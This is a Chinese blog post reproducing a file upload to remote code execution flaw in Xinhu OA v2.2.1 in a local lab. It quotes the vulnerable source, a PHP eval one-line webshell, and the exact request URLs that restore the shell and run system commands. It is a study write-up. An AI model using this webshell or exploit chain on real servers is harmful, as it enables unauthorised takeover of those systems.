首页 > 其他分享 >信呼v2.2.1文件上传漏洞复现

信呼v2.2.1文件上传漏洞复现

时间:2022-11-08 15:35:03浏览次数:76  
标签:return filepath v2.2 frs 复现 msg php 上传 信呼

前言
这个漏洞的复现呢也是借鉴了Y4tacker的博客(地址:https://blog.csdn.net/solitudi/article/details/118675321)
环境配置
环境:win10
phpamb 下载地址:http://www.rockoa.com/view_phpamb.html
下载phpamb,按照要求安装配置好之后

然后在www文件夹下解压下载的信呼v2.2.1
浏览器访问http://127.0.0.1:829/ 会显示如图

注意安装时的数据库地址为localhost:3307不然会报错,初始密码为空,这里我在配置文件里改成123456了

登录

登录后会强制修改密码,把123456改成其它密码就行了,至此环境配置成功。

找到文件上传点

2.2的文件上传漏洞是存在一个白名单的

漏洞分析:白名单之外的文件后缀会被更改为uptemp后缀,并且拥有一个id属性
上传的文件内容会被base64编码
但是查看webmain\task\runt\qcloudCosAction.php腾讯云存储下的qcloudCosClassAction的run方法

public function runAction()
	{
		$fileid = (int)$this->getparams('fileid','0'); //文件ID
		if($fileid<=0)return 'error fileid';
		$frs 	= m('file')->getone($fileid);
		if(!$frs)return 'filers not found';
		
		$filepath 	= $frs['filepath'];
		if(substr($filepath, 0, 4)=='http')return 'filepath is httppath';
		
		if(substr($filepath,-6)=='uptemp'){
			$aupath = ROOT_PATH.'/'.$filepath;
			$nfilepath  = str_replace('.uptemp','.'.$frs['fileext'].'', $filepath);
			$content	= file_get_contents($aupath);
			$this->rock->createtxt($nfilepath, base64_decode($content));
			unlink($aupath);
			$filepath 	= $nfilepath;
		}
		
		$msg 	= $this->sendpath($filepath, $frs, 'filepathout');
		if($msg)return $msg;
		
		$thumbpath	= $frs['thumbpath'];
		if(!isempt($thumbpath)){
			$msg 	= $this->sendpath($thumbpath, $frs, 'thumbplat');
			if($msg)return $msg;
		}
		return 'success';
	}

把后缀和内容都还原了,那这个漏洞的思路就是,先上传,然后抓包获取上传的webshell的id,再访问如下图网址,更改id,即可还原php文件内容,

第一步:上传抓包,所用的一句话木马:1.php,内容如下:

<?php eval($_GET["1"]);?>

这里会得到两个数据包,在第二个数据包的响应包里能得到我们的id,filecontid=8,就是我们要得到的,并非id

第二步:访问http://127.0.0.1:829/task.php?m=qcloudCos|runt&a=run&fileid=8
即可看到文件路径,并生成同名的php

第三步:直接访问http://127.0.0.1:829/upload/2022-11/08_14565255.php?1=system("whoami");
成功实现命令执行,将whoami换成其它内容执行命令也可

标签:return,filepath,v2.2,frs,复现,msg,php,上传,信呼
From: https://www.cnblogs.com/Error1s/p/16869854.html

相关文章

  • DNS区域传送漏洞复现
    DNS区域传送漏洞复现区域传送,是指DNS主从服务器之间的数据同步,保证数据的一致性,传送会利用DNS域,所以就称为DNS区域传送DNS区域传送有两种方式*axfr:完全区域传送*ixfr:增量......
  • 【Tensorflow】结果可复现设置-随机种子设置(Random Seed)
    目录引言设置引言在进行深度学习实验的时候,可能经常会发现,虽然输入的数据都是一样的,但是输出的结果总是会有不同的波动,这主要是由于在神经网络中,很多网络层参数的初始化......
  • [代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE
    文章目录​​写在前面​​分析​​​​脚本​​写在前面本次强网杯决赛的一个题,还是蛮有意思的,代码可以在github拿到​​​https://github.com/rainrocka/xinhu​​分析首......
  • 【漏洞学习及复现】Log4j2(CVE-2021-44228)漏洞复现
    Log4j2漏洞(CVE-2021-44228)Log4j2ApacheLog4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开......
  • Neural Networks for Multi-Instance Learning的复现与思考
    原理:从深度学习模型中选出一个输出值进行优化。缺点:模型自己选择最像正包的标签可能会导致模型错误识别正类。思考:BN层非常影响训练速度,有时会导致模型的准确率降......
  • 青少年CTF-复现EZMISC
    ​ 目录 BASE64先看hint接着看KKEY一开始我也没看出来是啥看完wp后才知道是科比密码由于我没找到这个对照表就直接拿出题人的图了提示兔子联想到Rabbit加密......
  • A Framework for Multiple-Instance Learning的复现与思考
    思考1.任何都是基于假设去处理数据。本文的假设就是出现一点在正包的交点中。假设是正包交于一点且该点距离所有的包距离最短。遇到的问题:1.我想找一点尽可能降低该点......
  • [2022 祥云杯] Reverse部分赛题复现
    女娲补天:指星期天打了一天的V3,再不学re......
  • APACHE_CVE-2021-40438-SSRF漏洞分析复现
    影响版本v2.4.48及以下版本该版本中mod_proxy模块存在一处逻辑错误,导致攻击者可以控制反向代理服务器的地址,进而导致SSRF漏洞。该漏洞影响范围较广,危害较大,利用简单,目前......
  • CNN基础论文 精读+复现----LeNet5 (二)
    文章目录​​复现准备​​​​数据部分​​​​搭建网络结构​​​​C1层:​​​​S2层:​​​​C3层:​​​​S4层:​​​​C5层:​​​​F6层:​​​​Output层:​​​​损失......